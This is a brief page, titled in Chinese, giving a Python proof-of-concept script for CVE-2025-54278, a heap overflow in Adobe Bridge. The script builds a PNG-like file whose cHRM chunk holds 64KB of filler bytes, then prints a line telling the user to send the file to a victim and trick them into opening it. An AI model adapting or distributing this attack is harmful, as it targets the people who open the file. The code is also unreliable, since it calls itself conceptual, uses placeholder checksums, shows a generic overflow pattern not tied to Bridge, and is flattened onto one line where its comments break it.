CVE-2025-54278 Adobe Bridge基于堆的缓冲区溢出漏洞

# CVE-2025-54278 PoC - Adobe Bridge Heap-based Buffer Overflow # This is a conceptual PoC demonstrating the vulnerability pattern import struct def generate_malicious_file(output_path): """ Generate a malicious file that triggers heap-based buffer overflow in Adobe Bridge versions 14.1.8, 15.1.1 and earlier. """ # Create a minimal file structure with an oversized field # that will overflow the heap buffer during parsing # File header (simulating a supported image/metadata format) header = b'\x89PNG\r\n\x1a\n' # PNG-like header # Normal-sized metadata chunk chunk_type = b'tEXt' normal_data = b'Keyword\x00Value' chunk_length = struct.pack('>I', len(normal_data)) chunk_crc = struct.pack('>I', 0x12345678) normal_chunk = chunk_length + chunk_type + normal_data + chunk_crc # Malicious chunk with oversized data to trigger heap overflow malicious_type = b'cHRM' # Exploit: write far more data than the allocated heap buffer can hold overflow_size = 0x10000 # 64KB overflow malicious_data = b'\x41' * overflow_size malicious_chunk_length = struct.pack('>I', len(malicious_data)) malicious_chunk_crc = struct.pack('>I', 0xDEADBEEF) malicious_chunk = malicious_chunk_length + malicious_type + malicious_data + malicious_chunk_crc # IEND chunk iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) malicious_file = header + normal_chunk + malicious_chunk + iend with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file generated: {output_path}") print(f"[!] Send this file to victim and trick them into opening it with Adobe Bridge") if __name__ == '__main__': generate_malicious_file('exploit_cve_2025_54278.bin')